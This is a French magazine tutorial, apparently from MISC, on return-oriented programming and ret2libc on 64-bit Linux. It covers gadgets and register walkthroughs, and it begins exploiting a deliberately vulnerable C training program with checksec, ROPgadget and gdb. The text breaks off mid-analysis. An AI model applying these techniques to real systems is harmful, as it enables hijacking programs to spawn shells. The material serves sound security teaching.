Return oriented programming 101

Magazine
Marque
MISC
HS n°
Numéro
22
Mois de parution
octobre 2020
Spécialité(s)


Résumé

Le Returned Oriented Programming (ou ROP) est une technique permettant d'exploiter des programmes disposant de la protection NX (No eXecute) ou DEP (Data Execution Prevention). L'objectif de cet article est de vous présenter les bases du ROP, ainsi que l’exploitation pas-à-pas d’un programme d’entraînement via l'utilisation de la bibliothèque python pwntools [1]. Dans un souci de simplicité, la démonstration sera réalisée sur un programme s'exécutant sur un système Linux 64 bits. Bien entendu, cette démonstration reste applicable sur d'autres architectures (ARM, MIPS, etc.).


Body

1. Historique

Le buffer overflow (BO) ou débordement de tampon est un défaut applicatif qui existe depuis les premiers ordinateurs. Il n’a jamais été possible d’empêcher tout à fait ce défaut, car son existence est intrinsèquement liée à l’architecture applicative, notamment le fonctionnement de la pile. Au fil des décennies, on a donc progressivement ajouté des contre-mesures au système pour empêcher l'exploitation des débordements sur la pile.

Plusieurs de ces mécanismes de défense sont aujourd’hui présents par défaut sur les systèmes récents :

  • le « No eXecute » (NX) [2] (DEP sur Windows) empêche l'exécution d'un shellcode en mémoire ;
  • le stack canary [3] est une protection permettant de détecter et prévenir un débordement sur la pile ;
  • l’ASLR (couplé au PIE [4]) rend plus difficile la recherche d’adresses en mémoire.

Historiquement, l’absence de la protection NX permettait à un attaquant d’exécuter son propre code machine en mémoire. Les fameux shellcodes. Le but était pour l’attaquant d’écrire son code en mémoire, puis de l’exécuter en redirigeant le flot d’exécution. Cela nécessitait donc qu’une partie de la mémoire soit accessible en écriture, et en exécution.

Ce n’est aujourd’hui plus possible sur les applications durcies par la protection NX : cette dernière empêche l’existence même de pages mémoires accessibles à la fois en écriture et en exécution. Par exemple, le code du programme se trouve sur des pages mémoires exécutables, mais non inscriptibles pendant l’exécution du programme. À l’inverse, la pile est une zone sur laquelle on peut écrire, mais pas exécuter. Un attaquant ne peut donc plus écrire son code machine en mémoire puis l’exécuter.

2. L’arrivée du ROP

2.1 Introduction : pourquoi le ROP

Notre problématique est donc : que peut-on exécuter, si on contrôle le flot d’exécution, mais qu’on ne peut pas utiliser de shellcode ? La réponse est « simple » : le code déjà présent en mémoire, c’est-à-dire le code du programme et les bibliothèques utilisées !

Au premier abord, les perspectives dépendent du logiciel. Si celui-ci est une simple calculatrice, nos options semblent limitées. Mais il faut garder à l’esprit une chose : la bibliothèque libc est toujours présente dans la mémoire d’un programme Linux standard. Et cette bibliothèque vient avec son lot de fonctions intéressantes pour un attaquant, à commencer par la fameuse fonction system(3). Par exemple, si on est en mesure d'exécuter system("/bin/sh"), on obtiendra un shell sur le système nous permettant d'exécuter des commandes. Il faut cependant pouvoir choisir l’argument de cette fonction pour contrôler l'exécution. Cette technique, basée sur du ROP, s’appelle le ret2libc, c’est celle que nous allons étudier.

Prenons par exemple un classique buffer overflow sans la protection canary et disposant d'un buffer initialisé à 0. La situation sur la pile est la suivante :

adresses hautes
...    
0x7fffffffb148 : 0x00005555555551a8 // saved_rip
0x7fffffffb140 : 0x00007fffffffc080 // saved_rbp
0x7fffffffb138 : 0x0000000000000000 // buffer
0x7fffffffb130 : 0x0000000000000000 // buffer
...
adresses basses

Supposons que le programme ne fasse aucune vérification de la taille des entrées utilisateur. S’il nous demande de remplir le buffer, et que l’on insère beaucoup de ‘A’ (plus que la taille du buffer), la mémoire ressemblera à ça :

adresses hautes
...
0x7fffffffb148 : 0x4141414141414141 // saved_rip
0x7fffffffb140 : 0x4141414141414141 // saved_rbp
0x7fffffffb138 : 0x4141414141414141 // buffer
0x7fffffffb130 : 0x4141414141414141 // buffer
...
adresses basses

On a débordé notre buffer, et remplacé les valeurs saved_rbp et saved_rip par des 'A' (0x41 en ASCII).

Rappelons que le saved_rip est l’adresse de retour de la fonction assembleur. C’est l’adresse qui sera placée dans le registre rip lorsque la fonction sera terminée, typiquement par l'exécution d’une instruction ret.

Donc si on connaît l’adresse de la fonction system, on peut réécrire le saved_rip par cette dernière pour appeler cette fonction. Néanmoins cela pose plusieurs problèmes :

  1. Comment récupérer l’adresse de la fonction system ? Pour cela, il nous faut un moyen d’obtenir cette adresse. Généralement, une autre vulnérabilité sera utilisée afin de faire « fuiter » des adresses en mémoire ;
  2. Comment mettre la chaîne de caractères de notre choix en argument de system ? En effet, cette fonction prend pour unique argument la chaîne de caractères correspondante à la commande à exécuter.

Pour le premier problème, il existe différentes façons d'obtenir cette information [5]. On verra un exemple pour faire fuiter cette adresse dans la section 3.

Pour le deuxième problème, il faut bien distinguer deux cas : l’assembleur Intel x86 du x86_64. Dans le premier cas, les arguments des fonctions sont placés sur la pile avant l’appel de ces dernières :

   0x00001237 <+40>:    push   0x0
   0x00001239 <+42>:    push   eax
   0x0000123a <+43>:    call   0x1030 <setbuf@plt>

Dans cet exemple, la fonction setbuf(3) est appelée avec pour argument, le contenu du registre eax, et 0.

Cependant, dans l’architecture moderne x86_64, les arguments ne sont plus placés sur la pile, mais dans des registres :

   0x00000000000011b3 <+15>:    mov    esi,0x0
   0x00000000000011b8 <+20>:    mov    rdi,rax
   0x00000000000011bb <+23>:    call   0x1040 <setbuf@plt>

La convention d’appel des registres (= l’ordre des arguments) sur Linux est, dans l’ordre pour les 4 premiers : rdi, rsi, rdx, rcx.

Pour en revenir à notre problème, on cherche à appeler la fonction system avec comme argument la commande de notre choix. Pour cela, il y a deux façons de faire :

  • soit on place la chaîne de caractères correspondante à notre commande en mémoire, puis on récupère son adresse via un autre moyen ;
  • soit on récupère l’adresse d’une chaîne de caractères déjà présente en mémoire.

Généralement, ce sera le second cas que l’on utilisera, car il existe déjà beaucoup de chaînes de caractères intéressantes en mémoire. Par exemple, la chaîne /bin/sh se trouve en mémoire de la libc.

Or comme évoqué plus haut, il va nous falloir localiser la libc en mémoire pour trouver l’adresse de la fonction system, on pourra donc par la même occasion trouver l’adresse de /bin/sh.

Mais comment placer une valeur de notre choix dans un registre ? Il va nous falloir des gadgets.

2.2 Le gadget

Un gadget, dans le cadre du ROP, est une ou plusieurs instructions assembleur qui terminent par l’instruction ret (ou équivalent selon le jeu d’instructions). En théorie, on pourrait dire qu’une fonction assembleur est un gadget, mais une fonction a beaucoup d’effets de bord qui n’intéressent pas un attaquant. L’idée d’utiliser de petites suites d’instructions est que l’on contrôle mieux ce qu’elles font.

Par exemple, voici un gadget (qu’on appellera « A ») de 2 instructions, qu’on pourrait trouver dans un code :

0x4023ab0 : xor eax, eax ;
0x4023ab2 : mov rdi, rsi ;
0x4023ab5 : ret ;

Cette suite d’instruction fait deux choses : elle met le registre eax à 0, puis elle place la valeur du registre rsi dans rdi.

Si maintenant on dispose d’un autre gadget « B » :

0x40cfdf4 : add eax, 0xa ;
0x40cfdf7 : ret ;

On peut combiner ces 2 gadgets pour mettre un multiple pas trop grand de 0xa (10 en décimal) dans le registre eax.

Pour cela, il suffit d’appeler le premier gadget pour mettre eax à 0, puis d’appeler le second gadget autant de fois que nécessaire pour obtenir un multiple de 10.

Par exemple, pour mettre 20 dans eax, il faut placer – dans le cadre d’un dépassement de tampon – l’adresse du gadget A à l’emplacement du saved_rip sur la pile, puis mettre l’adresse du gadget B deux fois après le saved_rip. La pile au niveau du saved_rip ressemblera alors à ça :

0x7fffffffb140 : 0x040cfdf4
0x7fffffffb138 : 0x040cfdf4
0x7fffffffb130 : 0x04003ab0 // saved_rip

Ainsi, quand vient le moment de l’instruction assembleur ret de la fonction en cours, l’état des registres est le suivant :

RIP = 0x40addc2 (ret)
RAX = 0xd0fc
RDI = 0xd4c0b000
RSI = 0xc
         0x7fffffffb140 : 0x40cfdf4 // second gadget B
         0x7fffffffb138 : 0x40cfdf4 // premier gadget B
RSP -> 0x7fffffffb130 : 0x4003ab0 // gadget A au niveau du saved_rip

L’instruction ret est effectuée, plaçant la valeur se trouvant sous rsp dans le registre rip :

RIP = 0x4003ab0 (xor eax, eax) // RIP est mis à jour avec le ret
RAX = 0xd0fc
RDI = 0xd4c0b000
RSI = 0xc
         0x7fffffffb140 : 0x40cfdf4
RSP -> 0x7fffffffb138 : 0x40cfdf4 // RSP avance en mémoire

Puis l’instruction xor eax, eax est effectuée :

RIP = 0x4003ab2 (mov rdi, rsi) // RIP avance d’une instruction
RAX = 0x0                      // RAX est mis à 0
RDI = 0xd4c0b000
RSI = 0xc
         0x7fffffffb140 : 0x40cfdf4
RSP -> 0x7fffffffb138 : 0x40cfdf4

Puis c’est au tour du mov rdi, rsi :

RIP = 0x4003ab5 (ret) // RIP avance d’une instruction
RAX = 0x0
RDI = 0xc             // La valeur de RSI est placée dans RDI
RSI = 0xc
         0x7fffffffb140 : 0x40cfdf4
RSP -> 0x7fffffffb138 : 0x40cfdf4

Et maintenant c’est l’instruction ret qui va être appelée, plaçant cette fois-ci l’adresse du gadget B dans le registre rip.

RIP = 0x40cfdf4 (add eax, 0xa) // RIP est mis à jour avec le ret
RAX = 0x0
RDI = 0xc
RSI = 0xc
RSP -> 0x7fffffffb140 : 0x40cfdf4 // RSP avance en mémoire

L’instruction add eax, 0xa est exécutée :

RIP = 0x40cfdf7 (ret) // RIP avance d’une instruction
RAX = 0xa             // RAX est incrémenté
RDI = 0xc
RSI = 0xc
RSP -> 0x7fffffffb140 : 0x40cfdf4

Et maintenant un nouveau ret, qui va donc appeler une deuxième fois le gadget B.

Voilà donc tout l’intérêt d’avoir une suite d’instructions qui finit par un ret. On peut ainsi chaîner ces suites d’instructions, et former une chaîne : c’est ce qu'on appelle une « ropchain ».

Un petit détail cependant : dans cet exemple, il ne faut pas oublier que la suite de gadgets A-B-B a pour effet de mettre la valeur 20 dans eax, mais elle place aussi le contenu du registre rsi dans rdi. C’est un exemple d’effet de bord non souhaité. Il est souvent difficile de trouver des gadgets qui en sont dépourvus. Il faudra donc au cas par cas s'assurer si ces effets sont négligeables ou non.

En fait, sauf cas particulièrement alambiqué, on va rarement avoir besoin de gadgets complexes. Les gadgets principalement utilisés sont très simples et utilisent des instructions pop. Par exemple :

0x455c1b6 : pop rdi ;
0x455c1b7 : pop rax ;
0x455c1b8 : ret ;

Pour rappel, notre problématique était de trouver un moyen de mettre une valeur choisie dans les registres afin d'appeler la fonction system (ou autre) avec des arguments arbitraires.

Ce type de gadget pop nous permet de contrôler facilement les registres avant d’appeler des fonctions. Il suffit pour ce faire de placer sur la pile la valeur que l’on souhaite mettre dans le registre juste après l’adresse de ce gadget :

adresses hautes
...
0x7fffffffb158 : 0xdeadbeef
0x7fffffffb150 : 0x8badf00d
0x7fffffffb148 : 0x455c1b6          // saved_rip
0x7fffffffb140 : 0x4141414141414141 // saved_rbp
0x7fffffffb138 : 0x4141414141414141 // buffer
0x7fffffffb130 : 0x4141414141414141 // buffer
...
adresses basses

Dans ce scénario, 0x8badf00d sera placé dans le registre rdi, et 0xdeadbeef sera placé dans rax.

On a vu dans la section 2.1 que notre besoin était de pouvoir mettre la valeur de notre choix dans les registres principaux d’appels de fonction (rdi, rsi, rdx, etc.).

Avec cette technique, si on dispose des bons gadgets, on peut mettre la valeur de notre choix dans les bons registres.

2.3 Où et comment trouver un gadget

On peut trouver des gadgets dans le code du programme lui-même, ou alors dans des bibliothèques partagées en mémoire, telle que la libc. Cette deuxième option est très pratique si l'on connaît l’adresse de la libc.

Un gadget étant simplement une suite d’instructions finissant par un ret, on peut en trouver grâce à n’importe quel désassembleur, comme objdump. Mais on peut faire mieux : rechercher les instructions ret (à n’importe quel alignement), puis remonter les instructions à partir de celles-ci pour trouver divers gadgets. C’est ce que fait l’outil ROPgadget [6]. L’avantage étant que l’on peut trouver également des gadgets qui ne sont pas alignés avec le code du programme.

Voici un exemple de ROPgadget, utilisé pour chercher dans la libc un gadget qui pop dans le registre rdi :

brendan@debian:~/article/bin$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep "pop rdi ; ret"
0x0000000000023a5f : pop rdi ; ret
0x000000000012ec0d : pop rdi ; ret 8

3. Exploitation avec du ROP

3.1 Comment exploiter la faille ?

Voici un programme d’entraînement que nous allons utiliser :

#include <stdlib.h>
#include <stdio.h>
 
void get_buffer(char buf[]) {
    char c;
    int i = 0;
    while ((c = getchar()) != '\n') {
        buf[i++] = c;
    }
}
 
int main() {
    char name[8];
    char city[8];
 
    setbuf(stdout, NULL);
 
    printf("What's your name?\n");
    get_buffer(name);
    printf("Hello %s!\n", name);
 
    printf("Where're you from?\n");
    get_buffer(city);
    printf("Cool!\n");
 
    return 0;
}

Il est disponible (avec l’exploit) sur mon GitHub [7] si vous voulez suivre l’exploitation sur votre ordinateur.

Ce programme est compilé simplement avec gcc :

brendan@debian:~/article/bin$ gcc -o vuln vuln.c

Si vous installez le package pwntools, vous disposerez de l’outil checksec, qui nous permet d'identifier rapidement quels sont les mécanismes de sécurité implémentés au sein du programme :

brendan@debian:~/article/bin$ checksec vuln
[*] '/home/brendan/article/bin/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

Le programme a été compilé sans canary pour simplifier l’exploitation. Néanmoins elle reste possible même avec la protection activée, car il serait possible de le faire fuiter avec une vulnérabilité que nous allons voir par la suite.

Quant au RELRO [8], cette protection ne nous intéressera pas ici.

Les protections principales sont donc : NX qui nous empêche d’exécuter un shellcode directement en mémoire, et le PIE, qui applique l’ASLR sur la totalité de l’espace d’adressage.

Cet exemple n’est pas vraiment réaliste, mais il faut bien s’entraîner sur de petits programmes :-)

Ici, il faut repérer deux problèmes :

  • il n’y a aucune vérification de la taille de l’entrée utilisateur, ce qui peut causer un dépassement de tampon ;
  • la chaîne de caractères récupérée ne termine pas par un caractère nul ‘\0’.

Le premier problème, couplé à l’absence de canary va nous permettre d’écraser le pointeur d’instruction rip, et ainsi rediriger l’exécution du programme vers l’adresse en mémoire de notre choix. Le second problème va nous permettre de faire fuiter des choses en mémoire.

Ouvrons gdb pour y voir un peu plus clair. On va placer un point d’arrêt à la fin du programme pour voir l’état de la pile à ce moment. Pour afficher les adresses réelles, on peut utiliser la commande starti, qui va simplement lancer l’exécution et effectuer la première instruction du programme. Ainsi, le programme sera lancé, et les adresses en mémoire seront les adresses réelles :

brendan@debian:~/article/bin$ gdb ./vuln
(gdb) starti
Starting program: /home/brendan/article/bin/vuln
 
Program stopped.
0x00007ffff7fd6090 in _start () from /lib64/ld-linux-x86-64.so.2
(gdb) disassemble main
Dump of assembler code for function main:
   0x00005555555551a4 <+0>:     push   rbp
   0x00005555555551a5 <+1>:     mov    rbp,rsp
   0x00005555555551a8 <+4>:     sub    rsp,0x10
   [...]
   0x0000555555555203 <+95>:    call   0x555555555165 <get_buffer>
   0x0000555555555208 <+100>:   lea    rdi,[rip+0xe25]        # 0x555555556034
   0x000055555555520f <+107>:   call   0x555555555030 <puts@plt>
   0x0000555555555214 <+112>:   mov    eax,0x0
   0x0000555555555219 <+117>:   leave
   0x000055555555521a <+118>:   ret    
End of assembler dump.

On peut maintenant placer un point d'arrêt en fin de programme, au niveau de l'appel à puts (qui correspond au second printf du programme) :

(gdb) b * 0x000055555555520f
Breakpoint 1 at 0x55555555520f

On lance maintenant le programme dans gdb avec la commande continue, et lors des deux inputs utilisateurs, on va rentrer des chaînes caractéristiques, 8 fois ‘A’, puis 8 fois ‘B’ :

(gdb) continue
Continuing.
What's your name?
AAAAAAAA
Hello AAAAAAAA!
Where're you from?
BBBBBBBB
 
Breakpoint 1, 0x000055555555520f in main ()

On affiche maintenant la pile au niveau du registre de pile rsp :

(gdb) x/6gx $rsp
0x7fffffffe180: 0x4242424242424242      0x4141414141414141
0x7fffffffe190: 0x0000555555555200      0x00007ffff7e1709b
0x7fffffffe1a0: 0x0000000000000000      0x00007fffffffe278

Pour résumer la commande, on demande à gdb d’afficher 6 fois 8 octets sous format hexadécimal à l’adresse correspondante à rsp.

On peut donc voir sur le résu